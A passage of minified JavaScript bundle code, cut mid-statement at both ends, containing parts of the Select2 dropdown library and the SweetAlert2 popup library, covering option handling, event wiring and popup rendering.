attributes and will be removed in future versions of Select2.'),r.StoreData(e[0],"data",r.GetData(e[0],"select2Tags")),r.StoreData(e[0],"tags",!0)),r.GetData(e[0],"ajaxUrl")&&(this.options.debug&&window.console&&console.warn&&console.warn("Select2: The `data-ajax-url` attribute has been changed to `data-ajax--url` and support for the old attribute will be removed in future versions of Select2."),e.attr("ajax--url",r.GetData(e[0],"ajaxUrl")),r.StoreData(e[0],"ajax-Url",r.GetData(e[0],"ajaxUrl")));var i={};function a(e,t){return t.toUpperCase()}for(var o=0;o<e[0].attributes.length;o++){var s=e[0].attributes[o].name,l="data-";if(s.substr(0,l.length)==l){var u=s.substring(l.length),c=r.GetData(e[0],u);i[u.replace(/-([a-z])/g,a)]=c}}t.fn.jquery&&"1."==t.fn.jquery.substr(0,2)&&e[0].dataset&&(i=t.extend(!0,{},e[0].dataset,i));var d=t.extend(!0,{},r.GetData(e[0]),i);for(var f in d=r._convertData(d))t.inArray(f,n)>-1||(t.isPlainObject(this.options[f])?t.extend(this.options[f],d[f]):this.options[f]=d[f]);return this},i.prototype.get=function(e){return this.options[e]},i.prototype.set=function(e,t){this.options[e]=t},i})),t.define("select2/core",["jquery","./options","./utils","./keys"],(function(e,t,n,r){var i=function(e,r){null!=n.GetData(e[0],"select2")&&n.GetData(e[0],"select2").destroy(),this.$element=e,this.id=this._generateId(e),r=r||{},this.options=new t(r,e),i.__super__.constructor.call(this);var a=e.attr("tabindex")||0;n.StoreData(e[0],"old-tabindex",a),e.attr("tabindex","-1");var o=this.options.get("dataAdapter");this.dataAdapter=new o(e,this.options);var s=this.render();this._placeContainer(s);var l=this.options.get("selectionAdapter");this.selection=new l(e,this.options),this.$selection=this.selection.render(),this.selection.position(this.$selection,s);var u=this.options.get("dropdownAdapter");this.dropdown=new u(e,this.options),this.$dropdown=this.dropdown.render(),this.dropdown.position(this.$dropdown,s);var c=this.options.get("resultsAdapter");this.results=new c(e,this.options,this.dataAdapter),this.$results=this.results.render(),this.results.position(this.$results,this.$dropdown);var d=this;this._bindAdapters(),this._registerDomEvents(),this._registerDataEvents(),this._registerSelectionEvents(),this._registerDropdownEvents(),this._registerResultsEvents(),this._registerEvents(),this.dataAdapter.current((function(e){d.trigger("selection:update",{data:e})})),e.addClass("select2-hidden-accessible"),e.attr("aria-hidden","true"),this._syncAttributes(),n.StoreData(e[0],"select2",this),e.data("select2",this)};return n.Extend(i,n.Observable),i.prototype._generateId=function(e){return"select2-"+(null!=e.attr("id")?e.attr("id"):null!=e.attr("name")?e.attr("name")+"-"+n.generateChars(2):n.generateChars(4)).replace(/(:|\.|\[|\]|,)/g,"")},i.prototype._placeContainer=function(e){e.insertAfter(this.$element);var t=this._resolveWidth(this.$element,this.options.get("width"));null!=t&&e.css("width",t)},i.prototype._resolveWidth=function(e,t){var n=/^width:(([-+]?([0-9]*\.)?[0-9]+)(px|em|ex|%|in|cm|mm|pt|pc))/i;if("resolve"==t){var r=this._resolveWidth(e,"style");return null!=r?r:this._resolveWidth(e,"element")}if("element"==t){var i=e.outerWidth(!1);return i<=0?"auto":i+"px"}if("style"==t){var a=e.attr("style");if("string"!=typeof a)return null;for(var o=a.split(";"),s=0,l=o.length;s<l;s+=1){var u=o[s].replace(/\s/g,"").match(n);if(null!==u&&u.length>=1)return u[1]}return null}return"computedstyle"==t?window.getComputedStyle(e[0]).width:t},i.prototype._bindAdapters=function(){this.dataAdapter.bind(this,this.$container),this.selection.bind(this,this.$container),this.dropdown.bind(this,this.$container),this.results.bind(this,this.$container)},i.prototype._registerDomEvents=function(){var e=this;this.$element.on("change.select2",(function(){e.dataAdapter.current((function(t){e.trigger("selection:update",{data:t})}))})),this.$element.on("focus.select2",(function(t){e.trigger("focus",t)})),this._syncA=n.bind(this._syncAttributes,this),this._syncS=n.bind(this._syncSubtree,this),this.$element[0].attachEvent&&this.$element[0].attachEvent("onpropertychange",this._syncA);var t=window.MutationObserver||window.WebKitMutationObserver||window.MozMutationObserver;null!=t?(this._observer=new t((function(t){e._syncA(),e._syncS(null,t)})),this._observer.observe(this.$element[0],{attributes:!0,childList:!0,subtree:!1})):this.$element[0].addEventListener&&(this.$element[0].addEventListener("DOMAttrModified",e._syncA,!1),this.$element[0].addEventListener("DOMNodeInserted",e._syncS,!1),this.$element[0].addEventListener("DOMNodeRemoved",e._syncS,!1))},i.prototype._registerDataEvents=function(){var e=this;this.dataAdapter.on("*",(function(t,n){e.trigger(t,n)}))},i.prototype._registerSelectionEvents=function(){var t=this,n=["toggle","focus"];this.selection.on("toggle",(function(){t.toggleDropdown()})),this.selection.on("focus",(function(e){t.focus(e)})),this.selection.on("*",(function(r,i){-1===e.inArray(r,n)&&t.trigger(r,i)}))},i.prototype._registerDropdownEvents=function(){var e=this;this.dropdown.on("*",(function(t,n){e.trigger(t,n)}))},i.prototype._registerResultsEvents=function(){var e=this;this.results.on("*",(function(t,n){e.trigger(t,n)}))},i.prototype._registerEvents=function(){var e=this;this.on("open",(function(){e.$container.addClass("select2-container--open")})),this.on("close",(function(){e.$container.removeClass("select2-container--open")})),this.on("enable",(function(){e.$container.removeClass("select2-container--disabled")})),this.on("disable",(function(){e.$container.addClass("select2-container--disabled")})),this.on("blur",(function(){e.$container.removeClass("select2-container--focus")})),this.on("query",(function(t){e.isOpen()||e.trigger("open",{}),this.dataAdapter.query(t,(function(n){e.trigger("results:all",{data:n,query:t})}))})),this.on("query:append",(function(t){this.dataAdapter.query(t,(function(n){e.trigger("results:append",{data:n,query:t})}))})),this.on("keypress",(function(t){var n=t.which;e.isOpen()?n===r.ESC||n===r.TAB||n===r.UP&&t.altKey?(e.close(t),t.preventDefault()):n===r.ENTER?(e.trigger("results:select",{}),t.preventDefault()):n===r.SPACE&&t.ctrlKey?(e.trigger("results:toggle",{}),t.preventDefault()):n===r.UP?(e.trigger("results:previous",{}),t.preventDefault()):n===r.DOWN&&(e.trigger("results:next",{}),t.preventDefault()):(n===r.ENTER||n===r.SPACE||n===r.DOWN&&t.altKey)&&(e.open(),t.preventDefault())}))},i.prototype._syncAttributes=function(){this.options.set("disabled",this.$element.prop("disabled")),this.isDisabled()?(this.isOpen()&&this.close(),this.trigger("disable",{})):this.trigger("enable",{})},i.prototype._isChangeMutation=function(t,n){var r=!1,i=this;if(!t||!t.target||"OPTION"===t.target.nodeName||"OPTGROUP"===t.target.nodeName){if(n)if(n.addedNodes&&n.addedNodes.length>0)for(var a=0;a<n.addedNodes.length;a++)n.addedNodes[a].selected&&(r=!0);else n.removedNodes&&n.removedNodes.length>0?r=!0:e.isArray(n)&&e.each(n,(function(e,t){if(i._isChangeMutation(e,t))return r=!0,!1}));else r=!0;return r}},i.prototype._syncSubtree=function(e,t){var n=this._isChangeMutation(e,t),r=this;n&&this.dataAdapter.current((function(e){r.trigger("selection:update",{data:e})}))},i.prototype.trigger=function(e,t){var n=i.__super__.trigger,r={open:"opening",close:"closing",select:"selecting",unselect:"unselecting",clear:"clearing"};if(void 0===t&&(t={}),e in r){var a=r[e],o={prevented:!1,name:e,args:t};if(n.call(this,a,o),o.prevented)return void(t.prevented=!0)}n.call(this,e,t)},i.prototype.toggleDropdown=function(){this.isDisabled()||(this.isOpen()?this.close():this.open())},i.prototype.open=function(){this.isOpen()||this.isDisabled()||this.trigger("query",{})},i.prototype.close=function(e){this.isOpen()&&this.trigger("close",{originalEvent:e})},i.prototype.isEnabled=function(){return!this.isDisabled()},i.prototype.isDisabled=function(){return this.options.get("disabled")},i.prototype.isOpen=function(){return this.$container.hasClass("select2-container--open")},i.prototype.hasFocus=function(){return this.$container.hasClass("select2-container--focus")},i.prototype.focus=function(e){this.hasFocus()||(this.$container.addClass("select2-container--focus"),this.trigger("focus",{}))},i.prototype.enable=function(e){this.options.get("debug")&&window.console&&console.warn&&console.warn('Select2: The `select2("enable")` method has been deprecated and will be removed in later Select2 versions. Use $element.prop("disabled") instead.'),null!=e&&0!==e.length||(e=[!0]);var t=!e[0];this.$element.prop("disabled",t)},i.prototype.data=function(){this.options.get("debug")&&arguments.length>0&&window.console&&console.warn&&console.warn('Select2: Data can no longer be set using `select2("data")`. You should consider setting the value instead using `$element.val()`.');var e=[];return this.dataAdapter.current((function(t){e=t})),e},i.prototype.val=function(t){if(this.options.get("debug")&&window.console&&console.warn&&console.warn('Select2: The `select2("val")` method has been deprecated and will be removed in later Select2 versions. Use $element.val() instead.'),null==t||0===t.length)return this.$element.val();var n=t[0];e.isArray(n)&&(n=e.map(n,(function(e){return e.toString()}))),this.$element.val(n).trigger("input").trigger("change")},i.prototype.destroy=function(){this.$container.remove(),this.$element[0].detachEvent&&this.$element[0].detachEvent("onpropertychange",this._syncA),null!=this._observer?(this._observer.disconnect(),this._observer=null):this.$element[0].removeEventListener&&(this.$element[0].removeEventListener("DOMAttrModified",this._syncA,!1),this.$element[0].removeEventListener("DOMNodeInserted",this._syncS,!1),this.$element[0].removeEventListener("DOMNodeRemoved",this._syncS,!1)),this._syncA=null,this._syncS=null,this.$element.off(".select2"),this.$element.attr("tabindex",n.GetData(this.$element[0],"old-tabindex")),this.$element.removeClass("select2-hidden-accessible"),this.$element.attr("aria-hidden","false"),n.RemoveData(this.$element[0]),this.$element.removeData("select2"),this.dataAdapter.destroy(),this.selection.destroy(),this.dropdown.destroy(),this.results.destroy(),this.dataAdapter=null,this.selection=null,this.dropdown=null,this.results=null},i.prototype.render=function(){var t=e('<span class="select2 select2-container"><span class="selection"></span><span class="dropdown-wrapper" aria-hidden="true"></span></span>');return t.attr("dir",this.options.get("dir")),this.$container=t,this.$container.addClass("select2-container--"+this.options.get("theme")),n.StoreData(t[0],"element",this.$element),t},i})),t.define("jquery-mousewheel",["jquery"],(function(e){return e})),t.define("jquery.select2",["jquery","jquery-mousewheel","./select2/core","./select2/defaults","./select2/utils"],(function(e,t,n,r,i){if(null==e.fn.select2){var a=["open","close","destroy"];e.fn.select2=function(t){if("object"==typeof(t=t||{}))return this.each((function(){var r=e.extend(!0,{},t);new n(e(this),r)})),this;if("string"==typeof t){var r,o=Array.prototype.slice.call(arguments,1);return this.each((function(){var e=i.GetData(this,"select2");null==e&&window.console&&console.error&&console.error("The select2('"+t+"') method was called on an element that is not using Select2."),r=e[t].apply(e,o)})),e.inArray(t,a)>-1?this:r}throw new Error("Invalid arguments for Select2: "+t)}}return null==e.fn.select2.defaults&&(e.fn.select2.defaults=r),n})),{define:t.define,require:t.require}}(),n=t.require("jquery.select2");return e.fn.select2.amd=t,n})?r.apply(t,i):r)||(e.exports=a)},6455:function(e){e.exports=function(){"use strict";function e(t){return(e="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(t)}function t(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function n(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function r(e,t,r){return t&&n(e.prototype,t),r&&n(e,r),e}function i(){return(i=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function a(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&s(e,t)}function o(e){return(o=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function s(e,t){return(s=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function l(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}function u(e,t,n){return(u=l()?Reflect.construct:function(e,t,n){var r=[null];r.push.apply(r,t);var i=new(Function.bind.apply(e,r));return n&&s(i,n.prototype),i}).apply(null,arguments)}function c(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function d(e,t){return!t||"object"!=typeof t&&"function"!=typeof t?c(e):t}function f(e){var t=l();return function(){var n,r=o(e);if(t){var i=o(this).constructor;n=Reflect.construct(r,arguments,i)}else n=r.apply(this,arguments);return d(this,n)}}function h(e,t){for(;!Object.prototype.hasOwnProperty.call(e,t)&&null!==(e=o(e)););return e}function m(e,t,n){return(m="undefined"!=typeof Reflect&&Reflect.get?Reflect.get:function(e,t,n){var r=h(e,t);if(r){var i=Object.getOwnPropertyDescriptor(r,t);return i.get?i.get.call(n):i.value}})(e,t,n||e)}var p="SweetAlert2:",_=function(e){for(var t=[],n=0;n<e.length;n++)-1===t.indexOf(e[n])&&t.push(e[n]);return t},y=function(e){return e.charAt(0).toUpperCase()+e.slice(1)},g=function(e){return Object.keys(e).map((function(t){return e[t]}))},v=function(e){return Array.prototype.slice.call(e)},b=function(t){console.warn("".concat(p," ").concat("object"===e(t)?t.join(" "):t))},w=function(e){console.error("".concat(p," ").concat(e))},M=[],L=function(e){-1===M.indexOf(e)&&(M.push(e),b(e))},k=function(e,t){L('"'.concat(e,'" is deprecated and will be removed in the next major release. Please use "').concat(t,'" instead.'))},Y=function(e){return"function"==typeof e?e():e},D=function(e){return e&&"function"==typeof e.toPromise},T=function(e){return D(e)?e.toPromise():Promise.resolve(e)},x=function(e){return e&&Promise.resolve(e)===e},S=Object.freeze({cancel:"cancel",backdrop:"backdrop",close:"close",esc:"esc",timer:"timer"}),j=function(t){return"object"===e(t)&&t.jquery},O=function(e){return e instanceof Element||j(e)},C=function(t){var n={};return"object"!==e(t[0])||O(t[0])?["title","html","icon"].forEach((function(r,i){var a=t[i];"string"==typeof a||O(a)?n[r]=a:void 0!==a&&w("Unexpected type of ".concat(r,'! Expected "string" or "Element", got ').concat(e(a)))})):i(n,t[0]),n},H="swal2-",E=function(e){var t={};for(var n in e)t[e[n]]=H+e[n];return t},P=E(["container","shown","height-auto","iosfix","popup","modal","no-backdrop","no-transition","toast","toast-shown","show","hide","close","title","header","content","html-container","actions","confirm","deny","cancel","footer","icon","icon-content","image","input","file","range","select","radio","checkbox","label","textarea","inputerror","input-label","validation-message","progress-steps","active-progress-step","progress-step","progress-step-line","loader","loading","styled","top","top-start","top-end","top-left","top-right","center","center-start","center-end","center-left","center-right","bottom","bottom-start","bottom-end","bottom-left","bottom-right","grow-row","grow-column","grow-fullscreen","rtl","timer-progress-bar","timer-progress-bar-container","scrollbar-measure","icon-success","icon-warning","icon-info","icon-question","icon-error"]),A=E(["success","warning","info","question","error"]),R=function(){return document.body.querySelector(".".concat(P.container))},I=function(e){var t=R();return t?t.querySelector(e):null},W=function(e){return I(".".concat(e))},N=function(){return W(P.popup)},$=function(){return W(P.icon)},F=function(){return W(P.title)},z=function(){return W(P.content)},B=function(){return W(P["html-container"])},q=function(){return W(P.image)},U=function(){return W(P["progress-steps"])},J=function(){return W(P["validation-message"])},V=function(){return I(".".concat(P.actions," .").concat(P.confirm))},G=function(){return I(".".concat(P.actions," .").concat(P.deny))},K=function(){return W(P["input-label"])},Z=function(){return I(".".concat(P.loader))},X=function(){return I(".".concat(P.actions," .").concat(P.cancel))},Q=function(){return W(P.actions)},ee=function(){return W(P.header)},te=function(){return W(P.footer)},ne=function(){return W(P["timer-progress-bar"])},re=function(){return W(P.close)},ie='\n  a[href],\n  area[href],\n  input:not([disabled]),\n  select:not([disabled]),\n  textarea:not([disabled]),\n  button:not([disabled]),\n  iframe,\n  object,\n  embed,\n  [tabindex="0"],\n  [contenteditable],\n  audio[controls],\n  video[controls],\n  summary\n',ae=function(){var e=v(N().querySelectorAll('[tabindex]:not([tabindex="-1"]):not([tabindex="0"])')).sort((function(e,t){return(e=parseInt(e.getAttribute("tabindex")))>(t=parseInt(t.getAttribute("tabindex")))?1:e<t?-1:0})),t=v(N().querySelectorAll(ie)).filter((function(e){return"-1"!==e.getAttribute("tabindex")}));return _(e.concat(t)).filter((function(e){return De(e)}))},oe=function(){return!se()&&!document.body.classList.contains(P["no-backdrop"])},se=function(){return document.body.classList.contains(P["toast-shown"])},le=function(){return N().hasAttribute("data-loading")},ue={previousBodyPadding:null},ce=function(e,t){if(e.textContent="",t){var n=(new DOMParser).parseFromString(t,"text/html");v(n.querySelector("head").childNodes).forEach((function(t){e.appendChild(t)})),v(n.querySelector("body").childNodes).forEach((function(t){e.appendChild(t)}))}},de=function(e,t){if(!t)return!1;for(var n=t.split(/\s+/),r=0;r<n.length;r++)if(!e.classList.contains(n[r]))return!1;return!0},fe=function(e,t){v(e.classList).forEach((function(n){-1===g(P).indexOf(n)&&-1===g(A).indexOf(n)&&-1===g(t.showClass).indexOf(n)&&e.classList.remove(n)}))},he=function(t,n,r){if(fe(t,n),n.customClass&&n.customClass[r]){if("string"!=typeof n.customClass[r]&&!n.customClass[r].forEach)return b("Invalid type of customClass.".concat(r,'! Expected string or iterable object, got "').concat(e(n.customClass[r]),'"'));ge(t,n.customClass[r])}};function me(e,t){if(!t)return null;switch(t){case"select":case"textarea":case"file":return be(e,P[t]);case"checkbox":return e.querySelector(".".concat(P.checkbox," input"));case"radio":return e.querySelector(".".concat(P.radio," input:checked"))||e.querySelector(".".concat(P.radio," input:first-child"));case"range":return e.querySelector(".".concat(P.range," input"));default:return be(e,P.input)}}var pe,_e=function(e){if(e.focus(),"file"!==e.type){var t=e.value;e.value="",e.value=t}},ye=function(e,t,n){e&&t&&("string"==typeof t&&(t=t.split(/\s+/).filter(Boolean)),t.forEach((function(t){e.forEach?e.forEach((function(e){n?e.classList.add(t):e.classList.remove(t)})):n?e.classList.add(t):e.classList.remove(t)})))},ge=function(e,t){ye(e,t,!0)},ve=function(e,t){ye(e,t,!1)},be=function(e,t){for(var n=0;n<e.childNodes.length;n++)if(de(e.childNodes[n],t))return e.childNodes[n]},we=function(e,t,n){n==="".concat(parseInt(n))&&(n=parseInt(n)),n||0===parseInt(n)?e.style[t]="number"==typeof n?"".concat(n,"px"):n:e.style.removeProperty(t)},Me=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"flex";e.style.display=t},Le=function(e){e.style.display="none"},ke=function(e,t,n,r){var i=e.querySelector(t);i&&(i.style[n]=r)},Ye=function(e,t,n){t?Me(e,n):Le(e)},De=function(e){return!(!e||!(e.offsetWidth||e.offsetHeight||e.getClientRects().length))},Te=function(){return!De(V())&&!De(G())&&!De(X())},xe=function(e){return!!(e.scrollHeight>e.clientHeight)},Se=function(e){var t=window.getComputedStyle(e),n=parseFloat(t.getPropertyValue("animation-duration")||"0"),r=parseFloat(t.getPropertyValue("transition-duration")||"0");return n>0||r>0},je=function(e,t){if("function"==typeof e.contains)return e.contains(t)},Oe=function(e){var t=arguments.length>1&&void 0!==arguments[1]&&arguments[1],n=ne();De(n)&&(t&&(n.style.transition="none",n.style.width="100%"),setTimeout((function(){n.style.transition="width ".concat(e/1e3,"s linear"),n.style.width="0%"}),10))},Ce=function(){var e=ne(),t=parseInt(window.getComputedStyle(e).width);e.style.removeProperty("transition"),e.style.width="100%";var n=parseInt(window.getComputedStyle(e).width),r=parseInt(t/n*100);e.style.removeProperty("transition"),e.style.width="".concat(r,"%")},He=function(){return"undefined"==typeof window||"undefined"==typeof document},Ee='\n <div aria-labelledby="'.concat(P.title,'" aria-describedby="').concat(P.content,'" class="').concat(P.popup,'" tabindex="-1">\n   <div class="').concat(P.header,'">\n     <ul class="').concat(P["progress-steps"],'"></ul>\n     <div class="').concat(P.icon,'"></div>\n     <img class="').concat(P.image,'" />\n     <h2 class="').concat(P.title,'" id="').concat(P.title,'"></h2>\n     <button type="button" class="').concat(P.close,'"></button>\n   </div>\n   <div class="').concat(P.content,'">\n     <div id="').concat(P.content,'" class="').concat(P["html-container"],'"></div>\n     <input class="').concat(P.input,'" />\n     <input type="file" class="').concat(P.file,'" />\n     <div class="').concat(P.range,'">\n       <input type="range" />\n       <output></output>\n     </div>\n     <select class="').concat(P.select,'"></select>\n     <div class="').concat(P.radio,'"></div>\n     <label for="').concat(P.checkbox,'" class="').concat(P.checkbox,'">\n       <input type="checkbox" />\n       <span class="').concat(P.label,'"></span>\n     </label>\n     <textarea class="').concat(P.textarea,'"></textarea>\n     <div class="').concat(P["validation-message"],'" id="').concat(P["validation-message"],'"></div>\n   </div>\n   <div class="').concat(P.actions,'">\n     <div class="').concat(P.loader,'"></div>\n     <button type="button" class="').concat(P.confirm,'"></button>\n     <button type="button" class="').concat(P.deny,'"></button>\n     <button type="button" class="').concat(P.cancel,'"></button>\n   </div>\n   <div class="').concat(P.footer,'"></div>\n   <div class="').concat(P["timer-progress-bar-container"],'">\n     <div class="').concat(P["timer-progress-bar"],'"></div>\n   </div>\n </div>\n').replace(/(^|\n)\s*/g,""),Pe=function(){var e=R();return!!e&&(e.parentNode.removeChild(e),ve([document.documentElement,document.body],[P["no-backdrop"],P["toast-shown"],P["has-column"]]),!0)},Ae=function(e){hi.isVisible()&&pe!==e.target.value&&hi.resetValidationMessage(),pe=e.target.value},Re=function(){var e=z(),t=be(e,P.input),n=be(e,P.file),r=e.querySelector(".".concat(P.range," input")),i=e.querySelector(".".concat(P.range," output")),a=be(e,P.select),o=e.querySelector(".".concat(P.checkbox," input")),s=be(e,P.textarea);t.oninput=Ae,n.onchange=Ae,a.onchange=Ae,o.onchange=Ae,s.oninput=Ae,r.oninput=function(e){Ae(e),i.value=r.value},r.onchange=function(e){Ae(e),r.nextSibling.value=r.value}},Ie=function(e){return"string"==typeof e?document.querySelector(e):e},We=function(e){var t=N();t.setAttribute("role",e.toast?"alert":"dialog"),t.setAttribute("aria-live",e.toast?"polite":"assertive"),e.toast||t.setAttribute("aria-modal","true")},Ne=function(e){"rtl"===window.getComputedStyle(e).direction&&ge(R(),P.rtl)},$e=function(e){var t=Pe();if(He())w("SweetAlert2 requires document to initialize");else{var n=document.createElement("div");n.className=P.container,t&&ge(n,P["no-transition"]),ce(n,Ee);var r=Ie(e.target);r.appendChild(n),We(e),Ne(r),Re()}},Fe=function(t,n){t instanceof HTMLElement?n.appendChild(t):"object"===e(t)?ze(t,n):t&&ce(n,t)},ze=function(e,t){e.jquery?Be(t,e):ce(t,e.toString())},Be=function(e,t){if(e.textContent="",0 in t)for(var n=0;n in t;n++)e.appendChild(t[n].cloneNode(!0));else e.appendChild(t.cloneNode(!0))},qe=function(){if(He())return!1;var e=document.createElement("div"),t={WebkitAnimation:"webkitAnimationEnd",OAnimation:"oAnimationEnd oanimationend",animation:"animationend"};for(var n in t)if(Object.prototype.hasOwnProperty.call(t,n)&&void 0!==e.style[n])return t[n];return!1}(),Ue=function(){var e=document.createElement("div");e.className=P["scrollbar-measure"],document.body.appendChild(e);var t=e.getBoundingClientRect().width-e.clientWidth;return document.body.removeChild(e),t},Je=function(e,t){var n=Q(),r=Z(),i=V(),a=G(),o=X();t.showConfirmButton||t.showDenyButton||t.showCancelButton||Le(n),he(n,t,"actions"),Ge(i,"confirm",t),Ge(a,"deny",t),Ge(o,"cancel",t),Ve(i,a,o,t),t.reverseButtons&&(n.insertBefore(o,r),n.insertBefore(a,r),n.insertBefore(i,r)),ce(r,t.loaderHtml),he(r,t,"loader")};function Ve(e,t,n,r){if(!r.buttonsStyling)return ve([e,t,n],P.styled);ge([e,t,n],P.styled),r.confirmButtonColor&&(e.style.backgroundColor=r.confirmButtonColor),r.denyButtonColor&&(t.style.backgroundColor=r.denyButtonColor),r.cancelButtonColor&&(n.style.backgroundColor=r.cancelButtonColor)}function Ge(e,t,n){Ye(e,n["show".concat(y(t),"Button")],"inline-block"),ce(e,n["".concat(t,"ButtonText")]),e.setAttribute("aria-label",n["".concat(t,"ButtonAriaLabel")]),e.className=P[t],he(e,n,"".concat(t,"Button")),ge(e,n["".concat(t,"ButtonClass")])}function Ke(e,t){"string"==typeof t?e.style.background=t:t||ge([document.documentElement,document.body],P["no-backdrop"])}function Ze(e,t){t in P?ge(e,P[t]):(b('The "position" parameter is not valid, defaulting to "center"'),ge(e,P.center))}function Xe(e,t){if(t&&"string"==typeof t){var n="grow-".concat(t);n in P&&ge(e,P[n])}}var Qe=function(e,t){var n=R();if(n){Ke(n,t.backdrop),!t.backdrop&&t.allowOutsideClick&&b('"allowOutsideClick" parameter requires `backdrop` parameter to be set to `true`'),Ze(n,t.position),Xe(n,t.grow),he(n,t,"container");var r=document.body.getAttribute("data-swal2-queue-step");r&&(n.setAttribute("data-queue-step",r),document.body.removeAttribute("data-swal2-queue-step"))}},et={promise:new WeakMap,innerParams:new WeakMap,domCache:new WeakMap},tt=["input","file","range","select","radio","checkbox","textarea"],nt=function(e,t){var n=z(),r=et.innerParams.get(e),i=!r||t.input!==r.input;tt.forEach((function(e){var r=P[e],a=be(n,r);at(e,t.inputAttributes),a.className=r,i&&Le(a)})),t.input&&(i&&rt(t),ot(t))},rt=function(e){if(!ct[e.input])return w('Unexpected type of input! Expected "text", "email", "password", "number", "tel", "select", "radio", "checkbox", "textarea", "file" or "url", got "'.concat(e.input,'"'));var t=ut(e.input),n=ct[e.input](t,e);Me(n),setTimeout((function(){_e(n)}))},it=function(e){for(var t=0;t<e.attributes.length;t++){var n=e.attributes[t].name;-1===["type","value","style"].indexOf(n)&&e.removeAttribute(n)}},at=function(e,t){var n=me(z(),e);if(n)for(var r in it(n),t)"range"===e&&"placeholder"===r||n.setAttribute(r,t[r])},ot=function(e){var t=ut(e.input);e.customClass&&ge(t,e.customClass.input)},st=function(e,t){e.placeholder&&!t.inputPlaceholder||(e.placeholder=t.inputPlaceholder)},lt=function(e,t,n){if(n.inputLabel){e.id=P.input;var r=document.createElement("label"),i=P["input-label"];r.setAttribute("for",e.id),r.className=i,ge(r,n.customClass.inputLabel),r.innerText=n.inputLabel,t.insertAdjacentElement("beforebegin",r)}},ut=function(e){var t=P[e]?P[e]:P.input;return be(z(),t)},ct={};ct.text=ct.email=ct.password=ct.number=ct.tel=ct.url=function(t,n){return"string"==typeof n.inputValue||"number"==typeof n.inputValue?t.value=n.inputValue:x(n.inputValue)||b('Unexpected type of inputValue! Expected "string", "number" or "Promise", got "'.concat(e(n.inputValue),'"')),lt(t,t,n),st(t,n),t.type=n.input,t},ct.file=function(e,t){return lt(e,e,t),st(e,t),e},ct.range=function(e,t){var n=e.querySelector("input"),r=e.querySelector("output");return n.value=t.inputValue,n.type=t.input,r.value=t.inputValue,lt(n,e,t),e},ct.select=function(e,t){if(e.textContent="",t.inputPlaceholder){var n=document.createElement("option");ce(n,t.inputPlaceholder),n.value="",n.disabled=!0,n.selected=!0,e.appendChild(n)}return lt(e,e,t),e},ct.radio=function(e){return e.textContent="",e},ct.checkbox=function(e,t){var n=me(z(),"checkbox");n.value=1,n.id=P.checkbox,n.checked=Boolean(t.inputValue);var r=e.querySelector("span");return ce(r,t.inputPlaceholder),e},ct.textarea=function(e,t){e.value=t.inputValue,st(e,t),lt(e,e,t);var n=function(e){return parseInt(window.getComputedStyle(e).paddingLeft)+parseInt(window.getComputedStyle(e).paddingRight)};if("MutationObserver"in window){var r=parseInt(window.getComputedStyle(N()).width);new MutationObserver((function(){var t=e.offsetWidth+n(N())+n(z());N().style.width=t>r?"".concat(t,"px"):null})).observe(e,{attributes:!0,attributeFilter:["style"]})}return e};var dt=function(e,t){var n=B();he(n,t,"htmlContainer"),t.html?(Fe(t.html,n),Me(n,"block")):t.text?(n.textContent=t.text,Me(n,"block")):Le(n),nt(e,t),he(z(),t,"content")},ft=function(e,t){var n=te();Ye(n,t.footer),t.footer&&Fe(t.footer,n),he(n,t,"footer")},ht=function(e,t){var n=re();ce(n,t.closeButtonHtml),he(n,t,"closeButton"),Ye(n,t.showCloseButton),n.setAttribute("aria-label",t.closeButtonAriaLabel)},mt=function(e,t){var n=et.innerParams.get(e),r=$();return n&&t.icon===n.icon?(yt(r,t),void pt(r,t)):t.icon||t.iconHtml?t.icon&&-1===Object.keys(A).indexOf(t.icon)?(w('Unknown icon! Expected "success", "error", "warning", "info" or "question", got "'.concat(t.icon,'"')),Le(r)):(Me(r),yt(r,t),pt(r,t),void ge(r,t.showClass.icon)):Le(r)},pt=function(e,t){for(var n in A)t.icon!==n&&ve(e,A[n]);ge(e,A[t.icon]),gt(e,t),_t(),he(e,t,"icon")},_t=function(){for(var e=N(),t=window.getComputedStyle(e).getPropertyValue("background-color"),n=e.querySelectorAll("[class^=swal2-success-circular-line], .swal2-success-fix"),r=0;r<n.length;r++)n[r].style.backgroundColor=t},yt=function(e,t){e.textContent="",t.iconHtml?ce(e,vt(t.iconHtml)):"success"===t.icon?ce(e,'\n      <div class="swal2-success-circular-line-left"></div>\n      <span class="swal2-success-line-tip"></span> <span class="swal2-success-line-long"></span>\n      <div class="swal2-success-ring"></div> <div class="swal2-success-fix"></div>\n      <div class="swal2-success-circular-line-right"></div>\n    '):"error"===t.icon?ce(e,'\n      <span class="swal2-x-mark">\n        <span class="swal2-x-mark-line-left"></span>\n        <span class="swal2-x-mark-line-right"></span>\n      </span>\n    '):ce(e,vt({question:"?",warning:"!",info:"i"}[t.icon]))},gt=function(e,t){if(t.iconColor){e.style.color=t.iconColor,e.style.borderColor=t.iconColor;for(var n=0,r=[".swal2-success-line-tip",".swal2-success-line-long",".swal2-x-mark-line-left",".swal2-x-mark-line-right"];n<r.length;n++){var i=r[n];ke(e,i,"backgroundColor",t.iconColor)}ke(e,".swal2-success-ring","borderColor",t.iconColor)}},vt=function(e){return'<div class="'.concat(P["icon-content"],'">').concat(e,"</div>")},bt=function(e,t){var n=q();if(!t.imageUrl)return 